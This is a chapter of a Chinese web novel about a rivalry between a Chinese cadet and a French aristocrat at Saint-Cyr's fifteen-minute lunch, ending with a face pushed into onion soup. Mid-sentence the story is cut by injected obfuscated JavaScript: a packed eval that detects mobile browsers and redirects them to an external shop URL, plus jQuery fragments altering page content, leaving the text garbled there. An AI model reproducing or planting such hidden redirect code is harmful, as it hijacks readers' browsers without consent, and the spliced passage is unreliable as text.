圣西尔的午餐时间只有十五分钟。
这是军校里最不近人情的规定之一。
十二点整开饭，十二点十五分结束。铃声一响，无论吃到哪一步，所有人都必须离席。教官们坚信，未来军官不该把时间浪费在餐桌上，战争不会因为谁的牛排没切完就暂停。
因此食堂永远像第二战场。
长桌两侧挤满深蓝色军装，刀叉碰撞声、谈笑声和靴跟敲击地面的声音混成一片。有人狼吞虎咽，有人边吃边背条令，还有人趁着短暂休息交换舞会邀请函和军部消息。
只有一个人格格不入。
张子轩永远坐在最角落的位置。左手面包，右手铅笔。摊开的铁路图占据了半张餐桌。
旁边的人讨论巴黎哪家餐厅最好、哪位议员即将升迁、哪场舞会有贵族小姐出席，而他研究的是桥梁跨度和山区展线，仿佛整个巴黎的繁华都不存在。
Marcel Delacroix已经观察他快一个星期了。自从那晚翻进那间贴满地图的宿舍，他就越来越觉得这个中国人有病，圣西尔从来没出过这种人。终于在一个下雪的中午，他端着餐盘，径直坐到了张子轩对面。
长桌瞬间安静了一小块，周围几个学员不动声色地交换眼神，所有人都知道这两个人不对付，或者说，是Marcel单方面看张子轩不顺眼。
张子轩却连眼皮都没抬，仍低头修改那段铁路坡度数据。Marcel盯着图纸看了半天，忍不住开口：
“Tu ne t’ennuies jamais？”
（你不会觉得无聊吗？）
“Non.” 张子轩头也没抬。
（不会。）
回答结束，铅笔继续在纸上移动。
Marcel额角轻轻一跳，又追了一句：
“Tu regardes ?a tous les jours.”
（你每天都看这些。）
“Oui.”
（是。）
“Pendant les repas aussi？”
（连吃饭也看？）
“Oui.”
（是。）
那一刻Marcel有种拳头打进棉花的错觉，周围已经有人憋不住笑，而张子轩仿佛什么都没听见。他画完最后一条辅助线，才拿起叉子继续吃午饭，从头到尾视线都没离开过图纸。
第二天，Marcel把他的叉子藏了，铃响后张子轩坐下，看见空盘旁边少了件东西，只停顿两秒就起身去隔壁桌借了一把，全程不到一分钟就继续吃饭看图。
Marcel坐在远处，把手里的面包捏得变形。
第三天，他直接把铁路图抽走，整个食堂瞬间安静，几百双眼睛同时望过来。
张子轩终于抬头，Marcel拿着图纸扬了扬：
“Tu vas enfin me regarder？”
（你总算肯看我了？）
空气安静得只剩壁炉燃烧的噼啪声，所有人都在等冲突爆发。
然而张子轩只是看了眼那张图，就从文件夹里抽出另一份一模一样的副本，重新摊开，继续吃饭看图。
整个食堂愣了两秒，随后爆出压不住的笑声，Marcel的脸色彻底黑了下去。
那天晚上，整个宿舍楼都知道了：Delacroix少爷去抢铁路图，结果人家有两份。
第四天，Marcel什么也没做，只是从开饭盯到快结束，整整十三分钟。张子轩一共看过他两次，一次为了拿盐，一次因为他挡了灯，除此之外再无任何反应。
结束的铃声还剩两分钟就会响起，张子轩收起图纸准备离开，Marcel终于忍不住猛地站起来，声音不大却让附近几桌都安静下来：
“Tu fais exprès de m’ignorer？”
（你故意无视我？）
张子轩停下脚步，这是他第一次认真看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932498|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
向Marcel。雪光从高窗落下来，照进那双漆黑平静的眼里，他回答得很简单：“Non.”
（没有。）
Marcel盯着他：“Alors quoi？”
（那是什么？）
短暂沉默后，张子轩的声音听不出任何情绪：“Je suis simplement occupé.”
（我只是很忙。）
食堂里忽然没了声音。那一刻Marcel突然明白，这不是敷衍不是讽刺更不是羞辱，这个中国人是真的这么认为。
他不是不想理自己，而是觉得自己根本没有那些铁路重要。
这个认知让Marcel胸口猛地一沉，怒火烧起来的同时，心底却冒出一点连他自己都不愿承认的东西——他忽然想知道，到底是什么样的铁路，能比整个圣西尔、整个巴黎，甚至比拿圣西尔第一名还重要。
而就在这时，张子轩又坐了回去，因为他发现盘子里还剩半块牛角面包没吃完。他左手拿面包，右手翻图纸，一边看一边吃，动作自然得仿佛刚才的对峙从未发生。
Marcel看着那副模样，理智终于断了线，下一秒他一把夺过牛角面包，在全食堂目瞪口呆的注视下，直接塞进了张子轩嘴里。
空气凝固了。时间像被按了暂停键，张子轩缓缓抬起头，黑色眼睛第一次真正危险地眯起来。
Marcel心里刚闪过“不妙”这个词，已经晚了。五秒钟后，整个圣西尔食堂鸦雀无声，滚烫的洋葱汤顺着Marcel的金发、军装和肩章一路往下淌，他整个人被按进了汤盆里。
长桌另一端，张子轩松开手，语气冷静得像刚完成一次课堂战术演示：
“Ne touche pas à ma nourriture.”
（别碰我的食物。）
食堂静得落针可闻，远处的教官放下刀叉，缓缓闭上眼。他知道，从明天开始，这两个混账东西大概又要出事了。